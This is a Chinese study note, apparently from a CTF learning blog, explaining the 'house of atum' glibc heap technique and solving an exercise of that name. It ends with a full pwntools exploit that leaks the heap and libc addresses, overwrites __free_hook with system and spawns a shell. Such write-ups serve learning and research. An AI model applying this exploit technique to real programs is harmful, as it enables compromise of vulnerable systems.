house of atum 学习笔记
跟着《ctf权威指南(pwn篇)》这本书来学习pwn,准备把这本书的例题一个一个认真啃完。
使用条件
当申请chunk的大小被固定时,无法将chunk放入unsorted,且允许获取的chunk很少时。
原理
tcache bin中的chunk的next指针与fastbins的fd指针位置不匹配。如果fastbins中有多个chunk,且tcache中的chunk未填满,则当从fastbins中获得了一个chunk后,剩余的chunk会被整合到tcache中(整合到tcache满为止,smallbin相同)。
利用
释放8个相同的chunk(大小满足fastbins),这样第8个freechunk将会被放入fastbins中,且fd指针会被置为0,又因为释放的是相同的chunk,所以tcache中也只有一个freechunk。申请一个chunk(将会从tcahe中获得)将获得的chunk中的fd指针改为chunk-0x20,这时,在fastbins中的chunk的fd指针会变为chunk-0x10,再申请一个chunk,将会从fastbins中获取,但tcache的counts是6,所以在fastbins中剩余的一个freechunk(chunk-0x10)被放入tcache中,这样就能控制chunk的prev_size和size了。
例题
House of Atum
保护全开,libc-2.27
正常的菜单题,只允许申请两个chunk,有edit,show函数,漏洞在dele函数中
先申请两个chunk,记为chunk0、chunk1。**chunk1需要写入p64(0)*7+p64(0x11)
**,这一步是为了防止后面修改chunk的size后对其进行释放时报错。先连续释放6次chunk1,可以泄露heap_base。
再连续释放2次chunk0,使tcache和fastbins中都只有一个freechunk0.接着申请一个chunk,并写入chunk0-0x20,再申请一个chunk1。释放chunk1,再次申请,此时写入p64(0)+p64(0x91)
,就相当于修改了chunk0的size域,再释放8次chunk0,泄露得到libcbase。再修改free_hook为 system函数,拿到shell。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| from pwn import * io = process('./houseofAtum') elf = ELF('./houseofAtum') libc = elf.libc context(log_level = 'debug') def add(a1): io.sendlineafter('choice:','1') io.sendlineafter('content:',a1)
def edit(a1,a2): io.sendlineafter('choice:','2') io.sendlineafter('idx:',str(a1)) io.sendafter('content:',a2)
def dele(a1,a2): io.sendlineafter('choice:','3') io.sendlineafter('idx:',str(a1)) io.sendlineafter('(y/n):',a2)
def show(a1): io.sendlineafter('choice:','4') io.sendlineafter('idx:',str(a1))
def exp(): add('0') payload = p64(0)*7+p64(0x11) add(payload) for i in range(5): dele(1,'n') show(1) io.recvuntil('Content:') heap_base = u64(io.recv(6).ljust(8,'\x00'))-0x2a0 print(hex(heap_base))
dele(1,'y') dele(0,'n') dele(0,'y') payload = p64(heap_base+0x250-0x20) #pause() add(payload) add('1') #pause() dele(1,'y') payload = p64(0)+p64(0x91) add(payload) #pause() for i in range(7): dele(0,'n') dele(0,'y') edit(1,'a'*0x10) #pause() show(1) io.recvuntil('Content:') io.recv(0x10) malloc_hook = u64(io.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00'))-96-16 libcbase = malloc_hook - libc.symbols['__malloc_hook'] print(hex(libcbase)) system = libcbase + libc.symbols['system'] free_hook = libcbase + libc.symbols['__free_hook']
edit(1,p64(0)+p64(0x51)+p64(free_hook-0x20)) payload = p64(free_hook-0x10) add(payload) dele(0,'y') payload = '/bin/sh\x00'*2+p64(system) add(payload) io.sendlineafter('choice:','3') io.sendlineafter('idx:','0') io.interactive()
exp()
|